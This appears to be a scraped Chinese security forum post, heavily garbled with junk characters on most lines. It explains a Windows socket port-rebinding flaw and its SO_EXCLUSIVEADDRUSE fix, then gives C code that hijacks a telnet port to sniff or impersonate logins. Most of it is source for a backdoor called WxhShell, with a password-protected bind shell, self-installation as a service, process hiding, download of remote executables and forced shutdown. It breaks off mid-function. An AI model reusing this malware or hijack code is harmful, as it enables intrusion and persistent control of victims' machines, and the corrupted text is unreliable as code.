在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
W8.j/K: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&l!$Sw-u; k.>6nho`TV saddr.sin_family = AF_INET;
^n71'MW |B|@GF?: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C"9"{ 8|vld3; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
T:n<db,Px qhwoV4@f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4@))OD^ x d
qpgf@ 这意味着什么?意味着可以进行如下的攻击:
)[ w&C_>] a],h<wGEx 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
??+:vai2 n>T:2PQ3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
zg7G^!PU aL 8Gnqf2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8vO;IK]9b^ Q(blW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
- XLo0 @4@PuWI0- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Rd vn)K 1(#RN9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_2; ^v`[ [lOf|^9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!(yT7#?hP - &NQ\W #include
F1\`l{B,\ #include
km}MqBQl #include
fo;6huz #include
RCQAtBd DWORD WINAPI ClientThread(LPVOID lpParam);
!4pr{S int main()
"]w!`^'_ {
P!9;} & WORD wVersionRequested;
pIvfmIm DWORD ret;
?;+ ^ WSADATA wsaData;
>6k}HrS1V BOOL val;
99a\MH`^ SOCKADDR_IN saddr;
htV#5SUx& SOCKADDR_IN scaddr;
HIsB| int err;
]ZDTn SOCKET s;
d4% `e&K]' SOCKET sc;
fqN75['n int caddsize;
:b<KX%g HANDLE mt;
prwC>LE DWORD tid;
au,jAk wVersionRequested = MAKEWORD( 2, 2 );
TbMdQbj} err = WSAStartup( wVersionRequested, &wsaData );
wy YtpW if ( err != 0 ) {
T!1SMo^ printf("error!WSAStartup failed!\n");
{v,{x1 return -1;
!e&rVoA }
di--:h/ saddr.sin_family = AF_INET;
3;y_qwA fEB195#@9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
xv^Sh}\} Ut]2` 8- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
G
*ds4R?! saddr.sin_port = htons(23);
GKiq0*/M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qw5&Y$(( {
ob)Q,;8R printf("error!socket failed!\n");
VccM=w%* return -1;
9LH=3Qt }
1;aF5~& val = TRUE;
V@$GC$; //SO_REUSEADDR选项就是可以实现端口重绑定的
sZ]'DH&_( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
g})6V {
#FEa 5 printf("error!setsockopt failed!\n");
qZXyi'(d return -1;
NvUu. }
"\4]X"3<+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
m dC`W&r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xIM8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
dhZZb IY V-*/
|
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
K?9WY]Ot {
qe[ ret=GetLastError();
zpbcmQB* printf("error!bind failed!\n");
4g>1Gqv6 return -1;
,>&?ty9o }
f9vcf# 2 listen(s,2);
O|?Z~ while(1)
C5>{Q:.`e' {
5woIGO3X caddsize = sizeof(scaddr);
03~+-h&n //接受连接请求
+Y^-e.UO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4Y`! bT` if(sc!=INVALID_SOCKET)
l?})_1v,R {
y=-{Q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4\&H?:c. if(mt==NULL)
B"7$!C o {
cC b>zI printf("Thread Creat Failed!\n");
qnabw F break;
5tN%a>D% }
jAA'hA }
sVE>=0TVP CloseHandle(mt);
L.SDM z }
P=f<#l"v closesocket(s);
sXSj OUI WSACleanup();
p^p'/$<6_ return 0;
\#uqD\DE }
1f+*Tmc5]Q DWORD WINAPI ClientThread(LPVOID lpParam)
5JQd)[Im {
)EhTM-1 SOCKET ss = (SOCKET)lpParam;
/Lq;w'|I SOCKET sc;
TvQWdX= unsigned char buf[4096];
{[l'S SOCKADDR_IN saddr;
@uQ%o%Ru6 long num;
zd?bHcW/h DWORD val;
9QX&7cs&[ DWORD ret;
r0~ 7v1rG //如果是隐藏端口应用的话,可以在此处加一些判断
Hi9 G^Q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wlm3~B\64 saddr.sin_family = AF_INET;
Q{%HW4lg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lH6Cd/a saddr.sin_port = htons(23);
1h#w"4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Nb#H@zm {
#]?,gwvTf printf("error!socket failed!\n");
;yRwoTc)Y return -1;
~J8cS }
`l
HKQwu val = 100;
?3]h~(= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>xxXPvM<` {
H j>L>6> ret = GetLastError();
FiV^n6-F` return -1;
9`LU=Xv/ }
U92B+up- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tEi@p;Z> {
Up]VU9z ret = GetLastError();
}0k"SwX return -1;
J,dG4.ht }
#J%h!#3g if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"wc`fg"3 {
*X-~TC0
[ printf("error!socket connect failed!\n");
Sa?~t3*H closesocket(sc);
TE*> a5C| closesocket(ss);
LM'*OtpDG return -1;
<a4iL3 }
lB5[#z while(1)
3L
1lq . {
=$:4v`W0( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GI'&g@?u //如果是嗅探内容的话,可以再此处进行内容分析和记录
dK=D=5r, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
IkE'_F num = recv(ss,buf,4096,0);
dpc=yXg>"c if(num>0)
D7Rbho< send(sc,buf,num,0);
l(0&6ENyj else if(num==0)
T }8r;<P6 break;
o'= [< num = recv(sc,buf,4096,0);
'|dKg"Yl if(num>0)
ey9fbS ^I send(ss,buf,num,0);
;GSfN else if(num==0)
OTy4"% break;
zm_hLk }
0X S' v,| closesocket(ss);
~gzpX,{n closesocket(sc);
Poylq]F return 0 ;
]0/~6f
}
5
\.TZMB 4n.i<K8K[ a*$1la'Uf ==========================================================
a3E*%G G`3vH, 下边附上一个代码,,WXhSHELL
a#^4xy: $48[!QE ==========================================================
#L+s%OJ` ^*owD;]4_ #include "stdafx.h"
cbg3bi 01SFOPuR%( #include <stdio.h>
'amex #include <string.h>
\`<s@U #include <windows.h>
K\%"RgF@& #include <winsock2.h>
P[|BWNei #include <winsvc.h>
!Vod0j"> #include <urlmon.h>
{&JurZ ^PCL^]W #pragma comment (lib, "Ws2_32.lib")
HDfQ9__ #pragma comment (lib, "urlmon.lib")
Z!5m'yZO 94>7-d #define MAX_USER 100 // 最大客户端连接数
6I6ZVSxb #define BUF_SOCK 200 // sock buffer
qz_TcU' #define KEY_BUFF 255 // 输入 buffer
k Y |=a CBgFB-!qpe #define REBOOT 0 // 重启
X|QX1dl #define SHUTDOWN 1 // 关机
xBx?>nN tX2>a #define DEF_PORT 5000 // 监听端口
e715)_HD {7MgN'4 #define REG_LEN 16 // 注册表键长度
TY{?4 #define SVC_LEN 80 // NT服务名长度
EPUJa~4 ?[|4QzR // 从dll定义API
;{)@ghD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
c=c.p
i"s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
(V|q\XS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!*QA;*e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(G b{ckzs ]r{#268 // wxhshell配置信息
Sv]"Y/N struct WSCFG {
/URj$| int ws_port; // 监听端口
=P+wp{?AN| char ws_passstr[REG_LEN]; // 口令
C@:N5},] int ws_autoins; // 安装标记, 1=yes 0=no
V:$1o char ws_regname[REG_LEN]; // 注册表键名
:~YyHX char ws_svcname[REG_LEN]; // 服务名
uZ{xt6 f char ws_svcdisp[SVC_LEN]; // 服务显示名
,Y/>*,J char ws_svcdesc[SVC_LEN]; // 服务描述信息
&I">{J< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_:z;j{@4 int ws_downexe; // 下载执行标记, 1=yes 0=no
}lbx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0~I)
/T char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gQzF C&g 9"v ox };
6/[h24d u=N;P // default Wxhshell configuration
k/f_@8 struct WSCFG wscfg={DEF_PORT,
\>CBam8d "xuhuanlingzhe",
:<|fZa4!" 1,
GTX&:5H\t "Wxhshell",
)9P "Wxhshell",
X!'Xx8 "WxhShell Service",
p{_O*bo
"Wrsky Windows CmdShell Service",
2FtEt+A+' "Please Input Your Password: ",
.
*+7xL 1,
ry=[:\Z~ "
http://www.wrsky.com/wxhshell.exe",
u(Q(UuI "Wxhshell.exe"
]7ZC>.t
};
Z-=7QK.\{ qdnNapWnc // 消息定义模块
+mel0ZStS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z\yLzy#8 char *msg_ws_prompt="\n\r? for help\n\r#>";
G5@@m- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Xrs~ove1V char *msg_ws_ext="\n\rExit.";
-CNv=vj 3 char *msg_ws_end="\n\rQuit.";
2QD
B'xs3 char *msg_ws_boot="\n\rReboot...";
CHSD8D char *msg_ws_poff="\n\rShutdown...";
HCZ%DBU96 char *msg_ws_down="\n\rSave to ";
w4/)r-Z4I ZI*A0_;L char *msg_ws_err="\n\rErr!";
E<_6OCz char *msg_ws_ok="\n\rOK!";
eHZl-|- >~r@*gml char ExeFile[MAX_PATH];
W..>Ny;'3 int nUser = 0;
P =Gb HANDLE handles[MAX_USER];
Cd*C^cJU&z int OsIsNt;
aj~@r3E; y(g
Otg SERVICE_STATUS serviceStatus;
Rla*hc~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
MO+0]uh: ?n~j2-[< // 函数声明
"TCbO`mg int Install(void);
5q*~h4=r7 int Uninstall(void);
alD|-{Bf int DownloadFile(char *sURL, SOCKET wsh);
*m/u 3.\ int Boot(int flag);
ImW~Jy void HideProc(void);
`{[C4]Ew/ int GetOsVer(void);
clV/i&]Qa int Wxhshell(SOCKET wsl);
]zAg6*-/B void TalkWithClient(void *cs);
,)m-nZ5 int CmdShell(SOCKET sock);
*38\&"s4_ int StartFromService(void);
y$W3\`2q int StartWxhshell(LPSTR lpCmdLine);
`2+52q<FO p{GDW_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\Fjq|3`<l VOID WINAPI NTServiceHandler( DWORD fdwControl );
S'fq/`2g6 e6a8ad // 数据结构和表定义
"Vy\- ^ SERVICE_TABLE_ENTRY DispatchTable[] =
7t/SZm {
%gB0D8,vo {wscfg.ws_svcname, NTServiceMain},
jl7-"V>j?; {NULL, NULL}
xrd^vE };
lsf?R'1 TR7TF]itb // 自我安装
o?\Pw9Y int Install(void)
,\"gN5[$( {
gDIB'Y char svExeFile[MAX_PATH];
n\,W:G9AR7 HKEY key;
VNfx>&` strcpy(svExeFile,ExeFile);
oZw#Nd ~<-h# B // 如果是win9x系统,修改注册表设为自启动
8=VX` X if(!OsIsNt) {
SesO$=y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
kv2:rmv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HX^
P9jXT RegCloseKey(key);
7?@v}%w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"[,XS` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wVX0!y6 RegCloseKey(key);
/GNYv* return 0;
vN+!l3O }
=$J2 }
*O2j<3CHf }
NmXTk+,L# else {
$tJJ
>" }P#gXG // 如果是NT以上系统,安装为系统服务
GW#Wy=(_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Fh;(1X75I if (schSCManager!=0)
X8TZePh {
eA_4,"{ SC_HANDLE schService = CreateService
n9yxZu (
^}#!?"Y schSCManager,
I_Qnq4Sk( wscfg.ws_svcname,
ml2HA4X&$Y wscfg.ws_svcdisp,
V2X(f6v SERVICE_ALL_ACCESS,
~1oD7=WN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
jrR~V* :k SERVICE_AUTO_START,
A
|B](MW%O SERVICE_ERROR_NORMAL,
ZVL0S{V-mh svExeFile,
/i<g>*82 NULL,
p5*Y&aKj NULL,
Wd7*sa3T NULL,
>HDK<1 > NULL,
3f3?%9 NULL
86i =N_ );
Pz?O_@Ln if (schService!=0)
LakP'P6`E {
c~V\,lcI CloseServiceHandle(schService);
A[oRi}= CloseServiceHandle(schSCManager);
`c icjA@~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>y?$aJ8ZV strcat(svExeFile,wscfg.ws_svcname);
5Z@Q^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
/1Eg6hf9B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{0|^F!1z RegCloseKey(key);
ms?h/*E<H return 0;
p(Sfw>t( }
09Fr1PL }
UwLa9Dn^ CloseServiceHandle(schSCManager);
w$p v }
oyUf/Sl }
iZ{D_uxq X/Ae-1! return 1;
#pIb:/2a_ }
]'"$qm: *+b[v7 // 自我卸载
,QK>e;:Be int Uninstall(void)
@A:Xct {
$+tkBM HKEY key;
}{[F+|\>,e VL\6U05Z if(!OsIsNt) {
BUtXHD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z2r{AQ.& RegDeleteValue(key,wscfg.ws_regname);
E]68IuP@' RegCloseKey(key);
r!;NH3 * if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~($h9*\ RegDeleteValue(key,wscfg.ws_regname);
B"G;"X RegCloseKey(key);
smSUo/ return 0;
#q%&,;4 }
%zWtPxAf }
GSypdEBj+w }
U5" C"+
3 else {
C,Ch6Ph *r%=p/oQ}B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,9=a(j" if (schSCManager!=0)
NKRNEq! {
}v`5
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:Vv=p*~ if (schService!=0)
q
K]Wk+ {
^!=+$@< if(DeleteService(schService)!=0) {
{4
*ob@w* CloseServiceHandle(schService);
D{c`H}/` CloseServiceHandle(schSCManager);
ucyxvhH^- return 0;
}E*#VA0/nY }
kYx|`-PA<r CloseServiceHandle(schService);
R`Q9|yF\ }
k5|h8%h8 CloseServiceHandle(schSCManager);
A!SHt7ysJ }
9"&HxyOfX }
oveW )~4 41$7P[M; return 1;
s2q#D.f }
e)O6k7U$ eQA89 :j, // 从指定url下载文件
^IY1^x int DownloadFile(char *sURL, SOCKET wsh)
uYF_sf {
H~fZA)W 4Y HRESULT hr;
+tl&Jjdm char seps[]= "/";
j$BM$q/c char *token;
H>k=V< char *file;
.Q4EmpByCg char myURL[MAX_PATH];
flnoK%wi char myFILE[MAX_PATH];
5s`NR<|2L Vc}m_T]O strcpy(myURL,sURL);
g?)9zJ9 token=strtok(myURL,seps);
.pK_j~}P while(token!=NULL)
3}2'PC {
T-uI CMEf file=token;
D>PB|rS@ token=strtok(NULL,seps);
c=h{^![$ }
M{Wla7 kF`2%g+ GetCurrentDirectory(MAX_PATH,myFILE);
v~9PS2 strcat(myFILE, "\\");
:voQ#f= strcat(myFILE, file);
]&jXD=a" send(wsh,myFILE,strlen(myFILE),0);
5l}v send(wsh,"...",3,0);
L6O*aZ| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,_D`0B6o if(hr==S_OK)
b~z1%? return 0;
PH^AT<U:T else
= ;4cDmZh return 1;
LY-fp+ r1}YN<+,s }
`,3;#.[D Dqs{n?@n // 系统电源模块
/q0[T{Wz$ int Boot(int flag)
sFsp`kf {
mR)Xq= HANDLE hToken;
P{h;2b{ TOKEN_PRIVILEGES tkp;
.i)
H1sD z1{kZk if(OsIsNt) {
qH1[BsOx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
IQAV`~_G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N7v7b<6 tkp.PrivilegeCount = 1;
iimTr_TEt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Kc$j<MRtv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8M<q-sn4B if(flag==REBOOT) {
E_[|ZrIO&* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wuRQ
H]N return 0;
JK))Cuh }
G>&Ta p> else {
1qp<Fz[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
x1VBO.t=* return 0;
N_Q)AXr) }
|`B*\\ 1 }
bFD
vCF else {
w\ 4;5.$ if(flag==REBOOT) {
V3r1|{Z( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
VRV*\*~$ return 0;
va 7I_J }
.0+=#G> else {
a|?& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ieo Naq return 0;
#}Y$+FtO }
(cAWT, }
jGy%O3/ z=%&?V return 1;
.,[NJ:l }
OCHjQc gCfAy=-,V // win9x进程隐藏模块
utOATjB.z void HideProc(void)
9j<qi\SSI {
@pq2Z^SQ H Jy<hTd*q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
kd55y if ( hKernel != NULL )
~C M%WvS {
R. :~e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h.T]J9;9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fz>3 FreeLibrary(hKernel);
B\^myg4 }
9|BH/&$ v<0\+}T1R return;
?|,dHqh{nM }
4f~ c#0? >I*)0tE // 获取操作系统版本
l/*NscYtQ int GetOsVer(void)
<9f;\+zA {
X;:qnnO OSVERSIONINFO winfo;
}Br=eaY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vtx3a^ GetVersionEx(&winfo);
80m<OW1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vNWCv return 1;
XS#Jy
n else
oyw*Z_ 9~ return 0;
iEx
sGn]2 }
4C:-1gu7 9f=L'{ // 客户端句柄模块
|; [XZ ZZ int Wxhshell(SOCKET wsl)
qe/dWJBa {
{4]sJT SOCKET wsh;
~W/|RP7S struct sockaddr_in client;
,]Gi942 DWORD myID;
78~;j1^6u WNnB
s while(nUser<MAX_USER)
n3z]&J5fr {
reP)&Fo int nSize=sizeof(client);
%>io$ o wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
s2Rg-:7 if(wsh==INVALID_SOCKET) return 1;
&0`[R*S ]&b>P ;j: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;6)Onwx if(handles[nUser]==0)
/`kM0=MMa closesocket(wsh);
B+VD53 V else
?zpN09e nUser++;
M7`iAa.} }
y1qJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
pLiGky N+N98~Y`P return 0;
-prc+G,qyp }
xfzGixA zNo>V8B( // 关闭 socket
uN;]Fv@Z void CloseIt(SOCKET wsh)
"/kTEp {
$n#NUPzG+ closesocket(wsh);
\+#>XDD nUser--;
zz m[sX} ExitThread(0);
Spm0DqqR? }
w7E7r?)Wl| Wm^RfxgN/ // 客户端请求句柄
}K.2 void TalkWithClient(void *cs)
=O
o4O CF2 {
V44M=c7E w D}g\{P SOCKET wsh=(SOCKET)cs;
HU1ZQkf char pwd[SVC_LEN];
al1Nmc# char cmd[KEY_BUFF];
JwNB)e
D char chr[1];
PdD,~N# int i,j;
PRi1 `%d _&R lR while (nUser < MAX_USER) {
gp(: o$ "CTK%be{q/ if(wscfg.ws_passstr) {
Sg+0w7:2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
efrVF5,y? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0-at#r: //ZeroMemory(pwd,KEY_BUFF);
;r3Xh)k; i=0;
f=--$o0U~ while(i<SVC_LEN) {
vPce6 Cl* S{fFpe- // 设置超时
Wz+7CRpeP fd_set FdRead;
"CY#_) struct timeval TimeOut;
&|YJ?}, FD_ZERO(&FdRead);
cVf}8qf) FD_SET(wsh,&FdRead);
?B['8ju TimeOut.tv_sec=8;
PBOZ^%k TimeOut.tv_usec=0;
7GDrH/yK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4S1\5C9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)WH;G:$&" Ql]+,^kA@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Ka/ *Z4" pwd
=chr[0]; 0K'^g0G
if(chr[0]==0xd || chr[0]==0xa) { FNR<=M
pwd=0; (RU\a]Ry
break; ?2nF1>1
} =berCV
i++; {?RVw`g&f
} %U?1Gf e
<! Z06
// 如果是非法用户,关闭 socket .C\##
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :d=:>_[
} B>UF dj]-
3%L@=q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "?v{?,@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kHb H{])
Wy.^1M/n>~
while(1) { yvIzgwN%s!
`M[o.t
ZeroMemory(cmd,KEY_BUFF); 5j~1%~,#
\'CA:9V}
// 自动支持客户端 telnet标准 QWI)Y:<K/
j=0; *W-:]t3CR
while(j<KEY_BUFF) { ~UNK[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xkp?)x3~X
cmd[j]=chr[0]; oM(8'{S=
if(chr[0]==0xa || chr[0]==0xd) { ac!!1lwA
cmd[j]=0; 0b(x@>
break; @@V{W)rl
} iHKX#*
j++; <7
xX/Z}M
} wl /1~!
^m['VK#?
// 下载文件 MqjdW
if(strstr(cmd,"http://")) { W2BZG(dm
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {Jc.49
if(DownloadFile(cmd,wsh)) Ctx`b[&KXX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Uc?#;%Y}
else Tfp^h~&u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2rxz<ck(
} T# .pi@PF>
else { Sjp ]TWj
5m2f\^U
switch(cmd[0]) { |8?DQhd}
1ne3CA=
// 帮助 tID=I0D
case '?': { a4&Aw7"X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T^icoX=c4
break; ~L4L|q 7
} weH3\@
// 安装 ]
@:x<>
case 'i': { [\e/xY(4
if(Install()) .Ta (v3om%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/y,}z
else $`[TIyA9!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #z+?t
break; =O3)tm;
} a"&cm'\lL
// 卸载 %-woaj
case 'r': { e2yCWolmTS
if(Uninstall()) E>iN >
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :$*@S=8 O
else :(iBLO<x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F*T$n"^
break; hp`ZmLq/[
} !/e*v>3u&
// 显示 wxhshell 所在路径 U$46=F|
case 'p': { {y'4&vt<~
char svExeFile[MAX_PATH]; waU2C2!w
strcpy(svExeFile,"\n\r"); ?a-5^{{
strcat(svExeFile,ExeFile); 6qSsr]
send(wsh,svExeFile,strlen(svExeFile),0); M!aJKpf
break;
C TKeY
} ]h,iyWSs
// 重启 ~+C)0Yn
case 'b': { 2 w6iqLr?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /;kSa}"Q
if(Boot(REBOOT)) M@o^V(j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~1{ppc+
else { _+X-D9j(l
closesocket(wsh); FGzKx9I9
ExitThread(0); n(`|:h"
} N=\weuED
break; %>$Puy\U
} 9s1^hW2%Q
// 关机 G\o9mEzQ
case 'd': { 5+Ao.3Xn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }[R-)M
if(Boot(SHUTDOWN)) `?O0)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >7PNl\=gG
else { {PR "}x
closesocket(wsh); .)SR3?
ExitThread(0); [N12X7O3
} }*C*!?pcd
break; =^SxZ Bn
} `2hg?(ul
// 获取shell lF_"{dS_6(
case 's': { k<5g
CmdShell(wsh); uaz!ze+
closesocket(wsh); T];dFv-GT
ExitThread(0); gJCZ9{Nl
break; e,,O
} <#RVA{
// 退出 $
nHD,h
case 'x': { i(_A;TT6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #f<v%
CloseIt(wsh); [h8s0
break; YM};85 K
} +V Nk#Z i
// 离开 !LzA
case 'q': { b+|3nc!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &
+*OV:[;
closesocket(wsh); fvcS=nRQv
WSACleanup(); loO"[8i.k
exit(1); 0y6M;"&~E
break; dFF=-_O>
} DY9]$h*y
} c!_c, vwrn
} [:FiA?O]
#c5jCy}n
// 提示信息 fGO\f;P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D}q"^"#T
} nYFrp)DLK
} -(t7>s
>mai
v;
return; __2<v?\
} |1RVm?~i
?oFd%|I
// shell模块句柄 ](A2,F
9(U
int CmdShell(SOCKET sock) Xv|=RNz
{ xbm%+
STARTUPINFO si; KWZhCS?[(
ZeroMemory(&si,sizeof(si)); %VH, (}i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aPVzOBp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sVK?sBs]
PROCESS_INFORMATION ProcessInfo; =29IHL3
char cmdline[]="cmd"; v6s,lC5qR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 68Gywk3]=u
return 0; d<6F'F^w.7
} d51'[?(
@kqxN\DE
// 自身启动模式
y=Kqv^
int StartFromService(void) :-B+W9'5
{ 6e%@uB}$
typedef struct jYFJk&c
{ M'PZ{6;
DWORD ExitStatus; U}RBgPX!
DWORD PebBaseAddress; 0RT 8N=B83
DWORD AffinityMask; x}yl Rg`[
DWORD BasePriority; z*EV>Y[
